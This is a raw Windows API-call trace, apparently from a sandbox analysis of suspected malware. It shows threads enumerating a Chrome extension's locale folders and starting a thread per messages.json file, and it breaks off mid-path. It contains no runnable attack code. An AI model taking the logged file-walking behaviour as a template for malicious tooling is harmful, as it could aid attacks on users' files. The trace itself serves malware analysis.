lpFindFileData=0x91d2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93af78 [0178.546] wcscmp (_String1=".", _String2=".") returned 0 [0178.547] FindNextFileW (in: hFindFile=0x93af78, lpFindFileData=0x91d2e8 | out: lpFindFileData=0x91d2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.547] wcscmp (_String1="..", _String2=".") returned 1 [0178.547] wcscmp (_String1="..", _String2="..") returned 0 [0178.547] FindNextFileW (in: hFindFile=0x93af78, lpFindFileData=0x91d2e8 | out: lpFindFileData=0x91d2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.547] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.547] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3a70 [0178.547] wcscpy (in: _Dest=0x9a3a70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" [0178.547] wcscat (in: _Dest=0x9a3a70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\" [0178.547] wcscat (in: _Dest=0x9a3a70, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" [0188.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0188.617] FindNextFileW (in: hFindFile=0x93af78, lpFindFileData=0x91d2e8 | out: lpFindFileData=0x91d2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.617] FindClose (in: hFindFile=0x93af78 | out: hFindFile=0x93af78) returned 1 [0188.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d2e8) returned 1 [0188.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9f948) returned 1 [0188.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92ddf0) returned 1 Thread: id = 7076 os_tid = 0x11ac [0177.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12d9fa70 [0177.196] wcscpy (in: _Dest=0x12d9fa70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" [0177.197] wcscat (in: _Dest=0x12d9fa70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\" [0177.197] wcscat (in: _Dest=0x12d9fa70, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*" [0177.197] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0177.197] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b478 [0178.547] wcscmp (_String1=".", _String2=".") returned 0 [0178.547] FindNextFileW (in: hFindFile=0x93b478, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.547] wcscmp (_String1="..", _String2=".") returned 1 [0178.548] wcscmp (_String1="..", _String2="..") returned 0 [0178.548] FindNextFileW (in: hFindFile=0x93b478, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.548] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.548] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3ba8 [0178.548] wcscpy (in: _Dest=0x9a3ba8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" [0178.548] wcscat (in: _Dest=0x9a3ba8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\" [0178.548] wcscat (in: _Dest=0x9a3ba8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" [0188.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4 [0188.619] FindNextFileW (in: hFindFile=0x93b478, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.619] FindClose (in: hFindFile=0x93b478 | out: hFindFile=0x93b478) returned 1 [0188.619] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0188.619] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9fa70) returned 1 [0188.619] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d608) returned 1 Thread: id = 7077 os_tid = 0x11b0 [0177.198] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12d9fb98 [0177.198] wcscpy (in: _Dest=0x12d9fb98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" [0177.198] wcscat (in: _Dest=0x12d9fb98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\" [0177.198] wcscat (in: _Dest=0x12d9fb98, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*" [0177.198] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91e158 [0177.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x91e158 | out: lpFindFileData=0x91e158*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ba78 [0178.548] wcscmp (_String1=".", _String2=".") returned 0 [0178.548] FindNextFileW (in: hFindFile=0x93ba78, lpFindFileData=0x91e158 | out: lpFindFileData=0x91e158*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.548] wcscmp (_String1="..", _String2=".") returned 1 [0178.548] wcscmp (_String1="..", _String2="..") returned 0 [0178.548] FindNextFileW (in: hFindFile=0x93ba78, lpFindFileData=0x91e158 | out: lpFindFileData=0x91e158*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.548] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.549] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.549] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3ce0 [0178.549] wcscpy (in: _Dest=0x9a3ce0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" [0178.549] wcscat (in: _Dest=0x9a3ce0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\" [0178.549] wcscat (in: _Dest=0x9a3ce0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" [0181.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0181.942] FindNextFileW (in: hFindFile=0x93ba78, lpFindFileData=0x91e158 | out: lpFindFileData=0x91e158*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.942] FindClose (in: hFindFile=0x93ba78 | out: hFindFile=0x93ba78) returned 1 [0181.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91e158) returned 1 [0181.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9fb98) returned 1 [0181.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d730) returned 1 Thread: id = 7078 os_tid = 0x984 [0177.204] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12d9fcc0 [0177.204] wcscpy (in: _Dest=0x12d9fcc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" [0177.204] wcscat (in: _Dest=0x12d9fcc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\" [0177.204] wcscat (in: _Dest=0x12d9fcc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*" [0177.204] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91f230 [0177.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x91f230 | out: lpFindFileData=0x91f230*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93bab8 [0178.549] wcscmp (_String1=".", _String2=".") returned 0 [0178.549] FindNextFileW (in: hFindFile=0x93bab8, lpFindFileData=0x91f230 | out: lpFindFileData=0x91f230*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.549] wcscmp (_String1="..", _String2=".") returned 1 [0178.549] wcscmp (_String1="..", _String2="..") returned 0 [0178.549] FindNextFileW (in: hFindFile=0x93bab8, lpFindFileData=0x91f230 | out: lpFindFileData=0x91f230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.549] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.549] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.549] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3e18 [0178.550] wcscpy (in: _Dest=0x9a3e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" [0178.550] wcscat (in: _Dest=0x9a3e18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\" [0178.550] wcscat (in: _Dest=0x9a3e18, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" [0181.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac [0181.944] FindNextFileW (in: hFindFile=0x93bab8, lpFindFileData=0x91f230 | out: lpFindFileData=0x91f230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.944] FindClose (in: hFindFile=0x93bab8 | out: hFindFile=0x93bab8) returned 1 [0181.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f230) returned 1 [0181.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9fcc0) returned 1 [0181.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d858) returned 1 Thread: id = 7079 os_tid = 0x990 [0177.205] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12d9fde8 [0177.205] wcscpy (in: _Dest=0x12d9fde8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" [0177.205] wcscat (in: _Dest=0x12d9fde8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\" [0177.205] wcscat (in: _Dest=0x12d9fde8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 